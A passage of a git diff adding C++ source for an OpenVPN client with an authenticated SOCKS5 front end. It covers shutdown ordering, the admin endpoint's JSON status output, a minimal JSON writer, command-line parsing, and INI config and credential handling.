stopping now", sig); + io_.stop(); + }); +} + +void App::shutdown() { asio::post(io_, [this] { begin_shutdown(); }); } + +void App::begin_shutdown() { + if (stopping_.exchange(true, std::memory_order_acq_rel)) return; + + // Reverse construction order. Each step stops producing work for the next. + if (admin_) admin_->stop(); + if (switcher_) switcher_->stop(); + if (health_) health_->stop(); + if (socks_) socks_->stop(); + if (nodes_) nodes_->stop(); + if (history_) history_->save(); + + // Dropping the work guard lets run() return once the queues drain, rather + // than stopping the context out from under handlers that are mid-flight. + // + // The signal_set has to be cancelled in the same breath. The graceful path + // re-arms it so a second Ctrl-C can still be heard, and that re-armed + // async_wait is genuine outstanding work -- with it pending, run() has + // something to do forever and the process hangs after logging a picture- + // perfect shutdown sequence. The pending handler gets operation_aborted and + // returns on its `if (ec)`, so nothing else observes this. + // The lwIP timer is the other one, and it is the reason `direct` mode used to + // exit cleanly while `tunnel` mode hung: the stack ticks for as long as it + // exists and re-arms itself, and it is owned by this object, which is not + // destroyed until run() has returned. Stopped here rather than in the + // destructor, and only after the egress is gone -- lwIP timers are what + // retransmit the last packets of a graceful close. + const auto release = [this] { + std::error_code ignored; + signals_.cancel(ignored); +#if OVG_WITH_TUNNEL + if (stack_) stack_->stop(); +#endif + work_.reset(); + }; + + if (!egress_) { + release(); + return; + } + egress_->shutdown([this, release] { + LOG_INFO(kMod, "egress torn down; releasing the io context"); + release(); + }); +} + +int App::run() { + const int n = io_thread_count(cfg_.socks5); + LOG_INFO(kMod, "running on {} io thread(s)", n); + + threads_.reserve(static_cast(n) - 1); + for (int i = 1; i < n; ++i) { + threads_.emplace_back([this] { + try { + io_.run(); + } catch (const std::exception &e) { + // A handler that throws would otherwise take the thread with it and + // leave the service running with fewer than it thinks it has. + LOG_ERROR(kMod, "io thread died: {}", e.what()); + } + }); + } + + try { + io_.run(); + } catch (const std::exception &e) { + LOG_ERROR(kMod, "io thread died: {}", e.what()); + } + + for (auto &t : threads_) { + if (t.joinable()) t.join(); + } + threads_.clear(); + + if (history_) history_->save(); + LOG_INFO(kMod, "stopped"); + return 0; +} + +uint16_t App::socks5_port() const { return socks_ ? socks_->port() : 0; } +uint16_t App::admin_port() const { return admin_ ? admin_->port() : 0; } + +// --------------------------------------------------------------------------- +// Admin JSON +// --------------------------------------------------------------------------- + +std::string App::status_json() const { + const auto now = std::chrono::steady_clock::now(); + const auto uptime_s = + std::chrono::duration_cast(now - started_).count(); + g_uptime()->set(uptime_s); + + Json j; + j.obj(); + j.kv("uptime_seconds", static_cast(uptime_s)); + j.kv("egress_mode", cfg_.egress_mode); + j.kv("tunnel_support", OVG_WITH_TUNNEL != 0); + + j.key("socks5").obj(); + if (socks_) { + const auto s = socks_->stats(); + j.kv("listen", cfg_.socks5.listen_address + ":" + + std::to_string(socks_->port())); + j.kv("require_auth", cfg_.socks5.require_auth); + j.kv("udp_associate", cfg_.socks5.udp_associate_enabled); + j.kv("max_sessions", cfg_.socks5.max_sessions); + j.kv("active", s.active); + j.kv("accepted_total", s.accepted); + j.kv("rejected_over_limit_total", s.rejected); + j.kv("refused_no_egress_total", s.no_egress); + j.kv("auth_ok_total", s.auth_ok); + j.kv("auth_failed_total", s.auth_failed); + } + j.end_obj(); + + j.key("egress").obj(); + if (egress_) { + const auto st = egress_->status(); + j.kv("phase", egress::switch_phase_name(st.phase)); + j.kv("active_node", st.active_node); + j.kv("active_state", egress::egress_state_name(st.active_state)); + j.kv("active_detail", st.active_detail); + j.kv("candidate", st.candidate); + j.kv("draining", st.draining); + j.kv("switches_total", st.switches); + j.kv("switch_failures_total", st.switch_failures); + j.kv("last_reason", st.last_reason); + j.kv("ms_since_switch", st.ms_since_switch); + j.kv("backoff_ms", st.backoff_ms); + + if (const auto active = egress_->acquire()) { + const auto s = active->stats(); + j.key("active_stats").obj(); + j.kv("node_id", s.node_id); + j.kv("country", s.node_country); + j.kv("server_ip", s.server_ip); + j.kv("local_address", s.local_address); + j.kv("proto", s.proto); + j.kv("uptime_ms", s.uptime_ms); + j.kv("sessions", s.sessions); + j.kv("tcp_opened", s.tcp_opened); + j.kv("tcp_failed", s.tcp_failed); + j.kv("tcp_active", s.tcp_active); + j.kv("udp_active", s.udp_active); + j.kv("tun_bytes_in", s.tun_bytes_in); + j.kv("tun_bytes_out", s.tun_bytes_out); + j.kv("transport_bytes_in", s.transport_bytes_in); + j.kv("transport_bytes_out", s.transport_bytes_out); + j.kv("rx_packets", s.rx_packets); + j.kv("tx_packets", s.tx_packets); + j.kv("tx_dropped", s.tx_dropped); + j.kv("rx_dropped", s.rx_dropped); + j.kv("rx_malformed", s.rx_malformed); + j.kv("last_packet_received_ms", static_cast( + s.last_packet_received_ms)); + j.end_obj(); + } + + j.key("draining_list").arr(); + for (const auto &d : egress_->draining_stats()) { + j.obj(); + j.kv("node_id", d.node_id); + j.kv("sessions", d.sessions); + j.kv("uptime_ms", d.uptime_ms); + j.end_obj(); + } + j.end_arr(); + } + j.end_obj(); + + j.key("health").obj(); + if (health_) { + const auto s = health_->last(); + j.kv("rounds", health_->rounds()); + j.kv("consecutive_bad", health_->consecutive_bad()); + j.kv("score", s.score); + j.kv("healthy", s.healthy); + j.kv("verdict", s.verdict); + j.kv("age_ms", s.age_ms); + } + j.end_obj(); + + j.key("switching").obj(); + if (switcher_) { + const auto s = switcher_->stats(); + j.kv("mode", cfg_.switching.mode == SwitchConfig::Mode::Graceful + ? "graceful" + : "hard"); + j.kv("requested_total", s.requested); + j.kv("declined_total", s.declined); + j.kv("by_unhealthy", s.unhealthy); + j.kv("by_tunnel_down", s.tunnel_down); + j.kv("by_opportunistic", s.opportunistic); + j.kv("by_manual", s.manual); + j.kv("last_trigger", s.last_trigger); + } + j.end_obj(); + + j.key("nodes").obj(); + if (nodes_) { + const auto snap = nodes_->snapshot(); + j.kv("known", snap ? snap->size() : size_t{0}); + const auto last = nodes_->last_success(); + j.kv("last_refresh_epoch_s", + static_cast( + std::chrono::duration_cast( + last.time_since_epoch()) + .count())); + } + j.end_obj(); + + j.end_obj(); + return j.take(); +} + +std::string App::nodes_json() const { + Json j; + j.obj(); + j.key("ranking").arr(); + if (selector_) { + size_t n = 0; + for (const auto &c : selector_->last_ranking()) { + if (n++ >= kMaxNodesListed) break; + j.obj(); + j.kv("id", c.node.id()); + j.kv("country", c.node.country_short); + j.kv("ip", c.node.ip); + j.kv("score", c.score); + j.kv("prior", c.prior); + j.kv("rtt_ms", c.rtt_ms); + j.kv("probed", c.probed); + j.kv("reachable", c.reachable); + j.kv("backed_off", c.backed_off); + j.kv("note", c.note); + j.kv("api_score", c.node.api.score); + j.kv("api_speed_bps", c.node.api.speed_bps); + j.kv("api_sessions", c.node.api.num_sessions); + j.kv("api_ping_ms", c.node.api.ping_ms); + j.kv("udp", c.node.has_udp()); + j.kv("tcp", c.node.has_tcp()); + j.end_obj(); + } + } + j.end_arr(); + j.kv("truncated_at", kMaxNodesListed); + j.end_obj(); + return j.take(); +} + +std::string App::sessions_json() const { + Json j; + j.obj(); + j.key("sessions").arr(); + if (socks_) { + for (const auto &s : socks_->sessions(kMaxSessionsListed)) { + j.obj(); + j.kv("id", s.id); + j.kv("client", s.client); + j.kv("target", s.target); + j.kv("command", s.command); + j.kv("state", s.state); + j.kv("egress", s.egress_label); + j.kv("bytes_up", s.bytes_up); + j.kv("bytes_down", s.bytes_down); + j.kv("age_ms", s.age_ms); + j.end_obj(); + } + } + j.end_arr(); + j.kv("truncated_at", kMaxSessionsListed); + j.end_obj(); + return j.take(); +} + +std::string App::health_json() const { + Json j; + j.obj(); + if (health_) { + j.kv("rounds", health_->rounds()); + j.kv("consecutive_bad", health_->consecutive_bad()); + j.kv("unhealthy_windows", cfg_.health.unhealthy_windows); + j.kv("min_score", cfg_.health.min_score); + j.key("samples").arr(); + for (const auto &s : health_->recent(kHealthSamplesListed)) { + j.obj(); + j.kv("age_ms", s.age_ms); + j.kv("egress", s.egress_label); + j.kv("egress_present", s.egress_present); + j.kv("tunnel_up", s.tunnel_up); + j.kv("probe_ok", s.probe_ok); + j.kv("rtt_ms", s.rtt_ms); + j.kv("connect_failure_rate", s.connect_failure_rate); + j.kv("stall_known", s.stall_known); + j.kv("stalled_ms", s.stalled_ms); + j.kv("loss_rate", s.loss_rate); + j.kv("score", s.score); + j.kv("healthy", s.healthy); + j.kv("verdict", s.verdict); + j.end_obj(); + } + j.end_arr(); + } + j.end_obj(); + return j.take(); +} + +} // namespace ovg::app diff --git a/src/app/app.h b/src/app/app.h new file mode 100644 index 0000000..5dc9559 --- /dev/null +++ b/src/app/app.h @@ -0,0 +1,117 @@ +// Assembly. The only file that knows every module exists. +// +// --------------------------------------------------------------------------- +// What lives here and what does not +// --------------------------------------------------------------------------- +// Construction order, wiring, the io thread pool, signal handling, and the JSON +// the admin endpoint serves. No policy: whether to switch is health/'s call, +// how to switch is egress/'s, which node is selector/'s. If a decision is being +// made in this file, it is in the wrong file. +// +// The one thing that genuinely belongs here is the fan-out for +// EgressManager::set_on_promote, which has a single slot and two subscribers +// (the SOCKS5 server re-homes sessions; the switch controller re-probes +// health). Ordering matters and is documented at the call site. +// +// --------------------------------------------------------------------------- +// Shutdown +// --------------------------------------------------------------------------- +// Ordered, because the reverse of construction is the only order in which +// nothing observes a half-destroyed neighbour: +// +// admin -> health -> socks5 listener -> egress manager -> node store +// -> io_context.stop() once the manager reports everything gone +// +// The io threads are joined last. A second signal skips the graceful path and +// stops the io_context immediately -- an operator pressing Ctrl-C twice means +// it, and a shutdown that cannot be interrupted is its own kind of bug. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "app/admin_server.h" +#include "common/config.h" +#include "egress/egress_manager.h" +#include "health/health_monitor.h" +#include "health/switch_controller.h" +#include "selector/history.h" +#include "selector/selector.h" +#include "socks5/server.h" +#include "vpngate/node_store.h" + +namespace ovg::netstack { +class Stack; +} + +namespace ovg::app { + +class App { + public: + explicit App(Config cfg); + ~App(); + + App(const App &) = delete; + App &operator=(const App &) = delete; + + // Brings everything up. Returns false with `err` filled if anything refuses + // to start; nothing is left running in that case. + bool start(std::string *err); + + // Blocks until shutdown completes. Returns the process exit code. + int run(); + + // Safe to call from a signal handler context (it only posts). + void shutdown(); + + // Test seam: the ports actually bound, which differ from the configured ones + // when those were 0. + uint16_t socks5_port() const; + uint16_t admin_port() const; + + private: + bool init_logging(std::string *err); + bool init_egress(std::string *err); + void wire_switch_hooks(); + void install_signals(); + void begin_shutdown(); + + std::string status_json() const; + std::string nodes_json() const; + std::string sessions_json() const; + std::string health_json() const; + + Config cfg_; + asio::io_context io_; + // Keeps the io_context alive while it has nothing to do, which is most of the + // time before the first connection arrives. + asio::executor_work_guard work_; + asio::signal_set signals_; + + std::unique_ptr nodes_; + std::unique_ptr history_; + std::unique_ptr selector_; +#if OVG_WITH_TUNNEL + // Declared only in a build that has one: a unique_ptr member needs a complete + // type at the point the destructor is generated, and without the tunnel there + // is no definition of Stack to be had. + std::unique_ptr stack_; +#endif + std::unique_ptr egress_; + std::unique_ptr socks_; + std::unique_ptr health_; + std::unique_ptr switcher_; + std::unique_ptr admin_; + + std::vector threads_; + std::atomic stopping_{false}; + std::atomic stop_requests_{0}; + std::chrono::steady_clock::time_point started_{}; +}; + +} // namespace ovg::app diff --git a/src/app/json.h b/src/app/json.h new file mode 100644 index 0000000..0654b1a --- /dev/null +++ b/src/app/json.h @@ -0,0 +1,141 @@ +// A ~100-line JSON *writer*. Not a parser, and never will be. +// +// The admin endpoint emits JSON and reads nothing but a request line, so a +// dependency on a real JSON library would buy escaping rules we can write in +// twenty lines and a parser we would never call. What matters is that the +// escaping is correct -- a node name from a volunteer-run directory ends up in +// this output, and it is not a string we chose. +#pragma once + +#include +#include +#include + +namespace ovg::app { + +class Json { + public: + // Objects and arrays track whether a comma is owed, so callers never have to. + Json &obj() { return open('{'); } + Json &end_obj() { return close('}'); } + Json &arr() { return open('['); } + Json &end_arr() { return close(']'); } + + Json &key(const std::string &k) { + sep(); + quote(k); + out_ += ':'; + need_comma_ = false; + return *this; + } + + Json &str(const std::string &v) { + sep(); + quote(v); + return *this; + } + Json &num(double v) { + sep(); + // NaN and infinity are not JSON. Emitting them produces a document no + // client can parse, which is a worse outcome than a wrong-looking zero. + if (!std::isfinite(v)) { + out_ += "0"; + return *this; + } + char buf[40]; + // %g keeps scores readable (0.83, not 0.8299999999999999) without dropping + // precision that matters at this scale. + std::snprintf(buf, sizeof(buf), "%.6g", v); + out_ += buf; + return *this; + } + Json &num(int64_t v) { + sep(); + out_ += std::to_string(v); + return *this; + } + Json &num(uint64_t v) { + sep(); + out_ += std::to_string(v); + return *this; + } + Json &num(int v) { return num(static_cast(v)); } + Json &boolean(bool v) { + sep(); + out_ += v ? "true" : "false"; + return *this; + } + Json &null() { + sep(); + out_ += "null"; + return *this; + } + + // key + value in one call, which is what almost every call site wants. + template + Json &kv(const std::string &k, const T &v) { + key(k); + return set(v); + } + + const std::string &str() const { return out_; } + std::string take() { return std::move(out_); } + + private: + Json &set(const std::string &v) { return str(v); } + Json &set(const char *v) { return str(v); } + Json &set(bool v) { return boolean(v); } + Json &set(double v) { return num(v); } + Json &set(int v) { return num(v); } + Json &set(int64_t v) { return num(v); } + Json &set(uint64_t v) { return num(v); } + Json &set(uint32_t v) { return num(static_cast(v)); } + + Json &open(char c) { + sep(); + out_ += c; + need_comma_ = false; + return *this; + } + Json &close(char c) { + out_ += c; + need_comma_ = true; + return *this; + } + void sep() { + if (need_comma_) out_ += ','; + need_comma_ = true; + } + + void quote(const std::string &s) { + out_ += '"'; + for (unsigned char c : s) { + switch (c) { + case '"': out_ += "\\\""; break; + case '\\': out_ += "\\\\"; break; + case '\n': out_ += "\\n"; break; + case '\r': out_ += "\\r"; break; + case '\t': out_ += "\\t"; break; + case '\b': out_ += "\\b"; break; + case '\f': out_ += "\\f"; break; + default: + // Everything below 0x20 must be escaped; everything at or above it + // is passed through as-is, which keeps valid UTF-8 (node names carry + // it) intact byte for byte. + if (c < 0x20) { + char buf[8]; + std::snprintf(buf, sizeof(buf), "\\u%04x", c); + out_ += buf; + } else { + out_ += static_cast(c); + } + } + } + out_ += '"'; + } + + std::string out_; + bool need_comma_ = false; +}; + +} // namespace ovg::app diff --git a/src/app/main.cpp b/src/app/main.cpp new file mode 100644 index 0000000..9973bb1 --- /dev/null +++ b/src/app/main.cpp @@ -0,0 +1,186 @@ +// Entry point: parse the command line, load the config, hand off to App. +// +// Everything here is deliberately dumb. If a decision is being made in main(), +// it belongs in a module -- the only thing this file is allowed to know is how +// to turn argv into a Config and a Config into an exit code. +#include +#include +#include +#include + +#include "app/app.h" +#include "common/config.h" +#include "common/logging.h" + +namespace { + +constexpr const char *kUsage = + "openvpngate -- OpenVPN client with an authenticated SOCKS5 front door\n" + "\n" + "Usage: openvpngate [options]\n" + "\n" + " -c, --config PATH configuration file (INI); required unless\n" + " every default is acceptable\n" + " --check load and validate the config, print it, exit\n" + " --listen ADDR:PORT\n" + " override socks5.listen_address/listen_port\n" + " --egress MODE override egress_mode ('tunnel' or 'direct')\n" + " --log-level LEVEL trace|debug|info|warn|error|off\n" + " --no-admin disable the admin HTTP endpoint\n" + " -h, --help this text\n" + " -V, --version print the version and exit\n" + "\n" + "Signals:\n" + " SIGINT/SIGTERM graceful shutdown; a second one stops immediately\n" + " SIGHUP reload the auth file and refresh the node list\n"; + +constexpr const char *kVersion = "openvpngate 0.1.0"; + +// "1.2.3.4:1080" or ":1080" or "1.2.3.4". Returns false on anything else. +bool split_listen(const std::string &text, std::string *addr, uint16_t *port) { + const auto colon = text.rfind(':'); + if (colon == std::string::npos) { + *addr = text; + return !addr->empty(); + } + if (colon > 0) *addr = text.substr(0, colon); + const std::string p = text.substr(colon + 1); + if (p.empty()) return false; + try { + const unsigned long v = std::stoul(p); + if (v == 0 || v > 65535) return false; + *port = static_cast(v); + } catch (const std::exception &) { + return false; + } + return true; +} + +} // namespace + +int main(int argc, char **argv) { + using namespace ovg; + + std::string config_path; + std::string listen_override; + std::string egress_override; + std::string level_override; + bool check_only = false; + bool no_admin = false; + + for (int i = 1; i < argc; ++i) { + const std::string a = argv[i]; + auto next = [&](const char *what) -> const char * { + if (i + 1 >= argc) { + std::fprintf(stderr, "%s needs an argument\n", what); + std::exit(2); + } + return argv[++i]; + }; + + if (a == "-h" || a == "--help") { + std::fputs(kUsage, stdout); + return 0; + } + if (a == "-V" || a == "--version") { + std::printf("%s\n", kVersion); + return 0; + } + if (a == "-c" || a == "--config") { + config_path = next("--config"); + } else if (a == "--check") { + check_only = true; + } else if (a == "--listen") { + listen_override = next("--listen"); + } else if (a == "--egress") { + egress_override = next("--egress"); + } else if (a == "--log-level") { + level_override = next("--log-level"); + } else if (a == "--no-admin") { + no_admin = true; + } else { + std::fprintf(stderr, "unknown option '%s'\n\n%s", a.c_str(), kUsage); + return 2; + } + } + + Config cfg; + std::string err; + if (!config_path.empty()) { + if (!Config::load_file(config_path, &cfg, &err)) { + std::fprintf(stderr, "config: %s\n", err.c_str()); + return 2; + } + } else { + std::fprintf(stderr, + "no --config given; running on defaults " + "(SOCKS5 on 127.0.0.1:1080, no credentials configured)\n"); + } + + // Overrides land after the file and before validation, so a bad flag is + // rejected by the same rules as a bad file. + if (!listen_override.empty()) { + if (!split_listen(listen_override, &cfg.socks5.listen_address, + &cfg.socks5.listen_port)) { + std::fprintf(stderr, "--listen: expected ADDR:PORT, got '%s'\n", + listen_override.c_str()); + return 2; + } + } + if (!egress_override.empty()) cfg.egress_mode = egress_override; + if (!level_override.empty()) { + cfg.logging.level = log::level_from_string(level_override); + } + if (no_admin) cfg.admin.enabled = false; + + if (!cfg.validate(&err)) { + std::fprintf(stderr, "config: %s\n", err.c_str()); + return 2; + } + + // A proxy that requires auth with nobody configured accepts nobody, which is + // safe but almost certainly not what was meant. Say so once, loudly, here -- + // not at the first failed login, where it looks like a client problem. + if (cfg.socks5.require_auth && cfg.socks5.users.empty()) { + std::fprintf(stderr, + "warning: socks5.require_auth is on but no credentials are " + "configured; every login will be refused\n"); + } + + if (check_only) { + std::printf( + "config ok\n" + " socks5 %s:%u auth=%s users=%zu max_sessions=%zu udp=%s\n" + " admin %s\n" + " egress %s\n" + " selector probe %zu candidate(s) x%zu sample(s)\n" + " switching %s, drain %lldms, margin %.0f%%, rehome=%s/%s\n" + " health every %lldms, %d window(s), probe %s:%u\n", + cfg.socks5.listen_address.c_str(), cfg.socks5.listen_port, + cfg.socks5.require_auth ? "required" : "optional", cfg.socks5.users.size(), + cfg.socks5.max_sessions, + cfg.socks5.udp_associate_enabled ? "on" : "off", + cfg.admin.enabled ? (cfg.admin.listen_address + ":" + + std::to_string(cfg.admin.listen_port)) + .c_str() + : "disabled", + cfg.egress_mode.c_str(), cfg.selector.probe_candidates, + cfg.selector.probe_samples, + cfg.switching.mode == SwitchConfig::Mode::Graceful ? "graceful" : "hard", + static_cast(cfg.switching.drain_grace.count()), + cfg.switching.improvement_margin * 100.0, + cfg.switching.retry_zero_progress ? "tcp" : "-", + cfg.switching.rehome_udp ? "udp" : "-", + static_cast(cfg.health.interval.count()), + cfg.health.unhealthy_windows, cfg.health.probe_domain.c_str(), + cfg.health.probe_port); + return 0; + } + + app::App app(std::move(cfg)); + if (!app.start(&err)) { + std::fprintf(stderr, "startup failed: %s\n", err.c_str()); + return 1; + } + return app.run(); +} diff --git a/src/common/asio_compat.h b/src/common/asio_compat.h new file mode 100644 index 0000000..b7d61d0 --- /dev/null +++ b/src/common/asio_compat.h @@ -0,0 +1,57 @@ +// Conversions between our address types and asio's. +// +// Kept out of endpoint.h on purpose: Endpoint is what the SOCKS5 codec and the +// netstack traffic in, and neither should have to see asio's headers to parse +// an address. Only the code that actually touches host sockets -- the direct +// egress, the SOCKS5 listener, the admin server -- needs this. +#pragma once + +#include + +#include +#include + +#include "common/endpoint.h" + +namespace ovg { + +inline asio::ip::address to_asio(const IpAddress &a) { + if (!a.valid()) return {}; + if (a.is_v4()) { + return asio::ip::address_v4(a.v4_host_order()); + } + asio::ip::address_v6::bytes_type b{}; + const auto &raw = a.bytes(); + for (size_t i = 0; i < b.size(); ++i) b[i] = raw[i]; + return asio::ip::address_v6(b); +} + +inline IpAddress from_asio(const asio::ip::address &a) { + if (a.is_v4()) return IpAddress::from_v4(a.to_v4().to_uint()); + if (a.is_v6()) { + const auto b = a.to_v6().to_bytes(); + return IpAddress::from_bytes_v6(b.data()); + } + return {}; +} + +inline Endpoint from_asio(const asio::ip::tcp::endpoint &ep) { + return Endpoint(from_asio(ep.address()), ep.port()); +} + +inline Endpoint from_asio(const asio::ip::udp::endpoint &ep) { + return Endpoint(from_asio(ep.address()), ep.port()); +} + +// Only meaningful for an Endpoint that already holds a literal address; a +// domain-kind Endpoint yields an unspecified address, which every caller here +// rejects before it gets this far. +inline asio::ip::tcp::endpoint to_asio_tcp(const Endpoint &e) { + return asio::ip::tcp::endpoint(to_asio(e.address()), e.port()); +} + +inline asio::ip::udp::endpoint to_asio_udp(const Endpoint &e) { + return asio::ip::udp::endpoint(to_asio(e.address()), e.port()); +} + +} // namespace ovg diff --git a/src/common/config.cpp b/src/common/config.cpp new file mode 100644 index 0000000..ebd8d5e --- /dev/null +++ b/src/common/config.cpp @@ -0,0 +1,530 @@ +#include "common/config.h" + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "common/endpoint.h" + +namespace ovg { +namespace { + +std::string trim(std::string_view s) { + size_t b = 0, e = s.size(); + while (b < e && std::isspace(static_cast(s[b]))) ++b; + while (e > b && std::isspace(static_cast(s[e - 1]))) --e; + return std::string(s.substr(b, e - b)); +} + +std::string to_lower(std::string s) { + std::transform(s.begin(), s.end(), s.begin(), + [](unsigned char c) { return std::tolower(c); }); + return s; +} + +std::vector split_list(const std::string &s) { + std::vector out; + std::string cur; + for (char c : s) { + if (c == ',') { + auto t = trim(cur); + if (!t.empty()) out.push_back(t); + cur.clear(); + } else { + cur += c; + } + } + auto t = trim(cur); + if (!t.empty()) out.push_back(t); + return out; +} + +std::string hex_encode(const unsigned char *data, size_t len) { + static const char *kHex = "0123456789abcdef"; + std::string out; + out.reserve(len * 2); + for (size_t i = 0; i < len; ++i) { + out += kHex[data[i] >> 4]; + out += kHex[data[i] & 0x0f]; + } + return out; +} + +std::string sha256_hex(const std::string &input) { + unsigned char md[EVP_MAX_MD_SIZE]; + unsigned int md_len = 0; + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + if (!ctx) return {}; + std::string out; + if (EVP_DigestInit_ex(ctx, EVP_sha256(), nullptr) == 1 && + EVP_DigestUpdate(ctx, input.data(), input.size()) == 1 && + EVP_DigestFinal_ex(ctx, md, &md_len) == 1) { + out = hex_encode(md, md_len); + } + EVP_MD_CTX_free(ctx); + return out; +} + +// --------------------------------------------------------------------------- +// A deliberately small INI reader. Keys are stored as "section.key". +class Ini { + public: + bool parse(const std::string &text, std::string *err) { + std::istringstream in(text); + std::string line; + std::string section; + int lineno = 0; + while (std::getline(in, line)) { + ++lineno; + // Strip comments, but only when '#'/';' starts a token -- passwords and + // URLs legitimately contain '#'. + for (size_t i = 0; i < line.size(); ++i) { + if ((line[i] == '#' || line[i] == ';') && + (i == 0 || std::isspace(static_cast(line[i - 1])))) { + line = line.substr(0, i); + break; + } + } + auto s = trim(line); + if (s.empty()) continue; + + if (s.front() == '[') { + if (s.back() != ']') { + if (err) *err = "line " + std::to_string(lineno) + ": bad section header"; + return false; + } + section = to_lower(trim(s.substr(1, s.size() - 2))); + continue; + } + + const auto eq = s.find('='); + if (eq == std::string::npos) { + if (err) *err = "line " + std::to_string(lineno) + ": expected key = value"; + return false; + } + auto key = to_lower(trim(s.substr(0, eq))); + auto value = trim(s.substr(eq + 1)); + if (key.empty()) { + if (err) *err = "line " + std::to_string(lineno) + ": empty key"; + return false; + } + const std::string full = section.empty() ? key : section + "." + key; + // Sections whose keys are user-defined (credentials) keep every entry. + if (section == "users") + users_.emplace_back(key, value); + else + kv_[full] = value; + seen_.push_back(full); + } + return true; + } + + bool has(const std::string &k) const { return kv_.count(k) > 0; } + + std::string str(const std::string &k, const std::string &dflt) const { + read_.insert(k); + auto it = kv_.find(k); + return it == kv_.end() ? dflt : it->second; + } + + bool boolean(const std::string &k, bool dflt, std::string *err) const { + read_.insert(k); + auto it = kv_.find(k); + if (it == kv_.end()) return dflt; + const auto v = to_lower(it->second); + if (v == "true" || v == "yes" || v == "1" || v == "on") return true; + if (v == "false" || v == "no" || v == "0" || v == "off") return false; + if (err) *err = k + ": expected a boolean, got '" + it->second + "'"; + return dflt; + } + + template + T number(const std::string &k, T dflt, std::string *err) const { + read_.insert(k); + auto it = kv_.find(k); + if (it == kv_.end()) return dflt; + T v{}; + const char *b = it->second.data(); + const char *e = b + it->second.size(); + const auto r = std::from_chars(b, e, v); + if (r.ec != std::errc{} || r.ptr != e) { + if (err) *err = k + ": expected a number, got '" + it->second + "'"; + return dflt; + } + return v; + } + + Millis duration(const std::string &k, Millis dflt, std::string *err) const { + read_.insert(k); + auto it = kv_.find(k); + if (it == kv_.end()) return dflt; + Millis out{}; + if (!parse_duration(it->second, &out)) { + if (err) *err = k + ": expected a duration, got '" + it->second + "'"; + return dflt; + } + return out; + } + + std::vector list(const std::string &k, + std::vector dflt) const { + read_.insert(k); + auto it = kv_.find(k); + if (it == kv_.end()) return dflt; + return split_list(it->second); + } + + const std::vector> &users() const { + read_prefixes_.push_back("users."); // [users] keys are user-defined + return users_; + } + + // Keys under [log.modules] become per-module levels. + std::map prefixed(const std::string &prefix) const { + read_prefixes_.push_back(prefix); + std::map out; + for (const auto &[k, v] : kv_) { + if (k.rfind(prefix, 0) == 0 && k.size() > prefix.size()) + out[k.substr(prefix.size())] = v; + } + return out; + } + + // Every key the loader never asked about. A key we do not read is a key that + // silently does nothing -- almost always a typo, and the kind that only shows + // up as "why is my timeout still 30s" hours later. Callers turn this into a + // hard load error. + std::vector unread() const { + std::vector out; + for (const auto &k : seen_) { + if (read_.count(k)) continue; + bool by_prefix = false; + for (const auto &p : read_prefixes_) + if (k.rfind(p, 0) == 0) by_prefix = true; + if (!by_prefix) out.push_back(k); + } + return out; + } + + private: + std::map kv_; + std::vector> users_; + std::vector seen_; + mutable std::set read_; + mutable std::vector read_prefixes_; +}; + +} // namespace + +bool parse_duration(const std::string &text, Millis *out) { + if (text.empty()) return false; + size_t idx = 0; + while (idx < text.size() && + (std::isdigit(static_cast(text[idx])) || + text[idx] == '.' || text[idx] == '-')) + ++idx; + if (idx == 0) return false; + + double value = 0; + try { + value = std::stod(text.substr(0, idx)); + } catch (...) { + return false; + } + if (value < 0) return false; + + const std::string unit = to_lower(trim(text.substr(idx))); + double mult = 1000.0; // bare number = seconds + if (unit == "ms") mult = 1.0; + else if (unit == "s" || unit.empty()) mult = 1000.0; + else if (unit == "m" || unit == "min") mult = 60.0 * 1000.0; + else if (unit == "h") mult = 3600.0 * 1000.0; + else if (unit == "d") mult = 86400.0 * 1000.0; + else return false; + + *out = Millis(static_cast(value * mult)); + return true; +} + +Credential make_credential(const std::string &user, + const std::string &password) { + unsigned char salt[16]; + if (RAND_bytes(salt, sizeof(salt)) != 1) { + // RAND_bytes failing means the CSPRNG is broken; refusing is safer than + // silently producing a weak credential. + return Credential{user, "", ""}; + } + Credential c; + c.username = user; + c.salt_hex = hex_encode(salt, sizeof(salt)); + c.hash_hex = sha256_hex(c.salt_hex + password); + return c; +} + +bool verify_credential(const Credential &c, const std::string &password) { + if (c.hash_hex.empty()) return false; + const std::string got = sha256_hex(c.salt_hex + password); + if (got.size() != c.hash_hex.size()) return false; + // Constant-time compare: never leak the matching prefix length via timing. + unsigned diff = 0; + for (size_t i = 0; i < got.size(); ++i) + diff |= static_cast(got[i] ^ c.hash_hex[i]); + return diff == 0; +} + +bool load_auth_file(const std::string &path, std::vector *out, + std::string *err) { + std::ifstream in(path); + if (!in) { + if (err) *err = "cannot open auth file: " + path; + return false; + } + std::string line; + int lineno = 0; + while (std::getline(in, line)) { + ++lineno; + auto s = trim(line); + if (s.empty() || s[0] == '#') continue; + const auto colon = s.find(':'); + if (colon == std::string::npos || colon == 0) { + if (err) *err = path + ":" + std::to_string(lineno) + ": expected user:secret"; + return false; + } + const std::string user = s.substr(0, colon); + const std::string secret = s.substr(colon + 1); + + // Pre-hashed form: sha256$$ + if (secret.rfind("sha256$", 0) == 0) { + const auto rest = secret.substr(7); + const auto sep = rest.find('$'); + if (sep == std::string::npos) { + if (err) *err = path + ":" + std::to_string(lineno) + ": malformed sha256 entry"; + return false; + } + out->push_back(Credential{user, rest.substr(0, sep), rest.substr(sep + 1)}); + } else { + out->push_back(make_credential(user, secret)); + } + } + return true; +} + +bool Config::load_file(const std::string &path, Config *out, std::string *err) { + std::ifstream in(path); + if (!in) { + if (err) *err = "cannot open config file: " + path; + return false; + } + std::stringstream ss; + ss << in.rdbuf(); + return load_string(ss.str(), out, err); +} + +bool Config::load_string(const std::string &text, Config *out, + std::string *err) { + Ini ini; + if (!ini.parse(text, err)) return false; + + Config c; // start from defaults; only assign into the local copy + std::string e; + + // ---- logging ------------------------------------------------------------- + c.logging.level = log::level_from_string(ini.str("log.level", "info")); + c.logging.file = ini.str("log.file", "-"); + for (const auto &[mod, lvl] : ini.prefixed("log.modules.")) + c.logging.module_levels[mod] = log::level_from_string(lvl); + + // ---- socks5 -------------------------------------------------------------- + auto &s5 = c.socks5; + s5.listen_address = ini.str("socks5.listen_address", s5.listen_address); + s5.listen_port = ini.number("socks5.listen_port", s5.listen_port, &e); + s5.require_auth = ini.boolean("socks5.require_auth", s5.require_auth, &e); + s5.advertise_address = ini.str("socks5.advertise_address", s5.advertise_address); + s5.udp_associate_enabled = + 